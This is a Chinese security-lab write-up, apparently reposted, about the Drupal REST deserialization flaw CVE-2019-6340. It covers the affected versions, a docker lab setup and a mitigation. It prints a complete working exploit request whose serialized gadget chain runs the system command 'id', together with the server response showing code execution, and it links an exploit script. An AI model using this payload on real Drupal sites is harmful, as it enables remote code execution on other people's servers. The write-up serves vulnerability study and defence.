
“燕云实验室”是河北千诚电子科技有限公司成立的网络安全攻防技术研究实验室。专注于web安全,网络攻防,安全运维,应急溯源方面的研究,开发成果应用于产品核心技术转化,国家重点科技项目攻关。
Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成。连续多年荣获全球最佳CMS大奖,是基于PHP语言最著名的WEB应用程序。截止2011年底,共有13,802位WEB专家参加了Drupal的开发工作;228个国家使用181种语言的729,791位网站设计工作者使用Drupal。著名案例包括:联合国、美国白宫、美国商务部、纽约时报、华纳、迪斯尼、联邦快递、索尼、美国哈佛大学、Ubuntu等。
如果网站开启了 RESTful Web Services(默认不开启)并允许
POST/PATCH 请求,在进行 REST API 操作的过程中,会将未经安全过滤的参数内容带入unserialize 函数而触发反序列化漏洞,进而导致任意代码执行。
Drupal < 8.6.10
Drupal < 8.5.12
可以使用docker快速部署
zhzy@debian:~$ docker pull knqyf263/cve-2019-6340zhzy@debian:~$ docker run -d -p 8088:80 --name Drupal8 knqyf263/cve-2019-6340

公布的payload为:
request:
POST /node/?_format=hal_json HTTP/1.1Host: freeerror.orgUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0Connection: keep-aliveContent-Type: application/hal+jsonAccept: */*Cache-Control: no-cacheContent-Length: 635{"link": [{"value": "link","options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"}],"_links": {"type": {"href": "http://freeerror.org:8088/rest/type/shortcut/default"}}}
response:
HTTP/1.1 403 ForbiddenDate: Wed, 08 Apr 2020 03:03:02 GMTServer: Apache/2.4.25 (Debian)X-Powered-By: PHP/7.2.15Cache-Control: must-revalidate, no-cache, privateX-UA-Compatible: IE=edgeContent-language: enX-Content-Type-Options: nosniffX-Frame-Options: SAMEORIGINExpires: Sun, 19 Nov 1978 05:00:00 GMTVary:X-Generator: Drupal 8 (https://www.drupal.org)Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/hal+jsonContent-Length: 239{"message":"The shortcut set must be the currently displayed set for the user and the user must have \u0027access shortcuts\u0027 AND \u0027customize shortcut links\u0027 permissions."}uid=33(www-data) gid=33(www-data) groups=33(www-data)
使用burpsuite向目标系统发送该request:
或者使用漏洞利用脚本:
https://github.com/zhzyker/exphub/tree/master/drupal
对于此漏洞,可以禁用PUT/PATCH/POST请求以进行缓解,或者升级到最新的Drupal版本。
声明
署名:CC BY-NC-SA 3.0 CN
文中所涉及的技术,思路和工具仅供以安全为目的的学习交流使用,请勿做非法用途否则后果自负。

文章转载自燕云实验室,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。




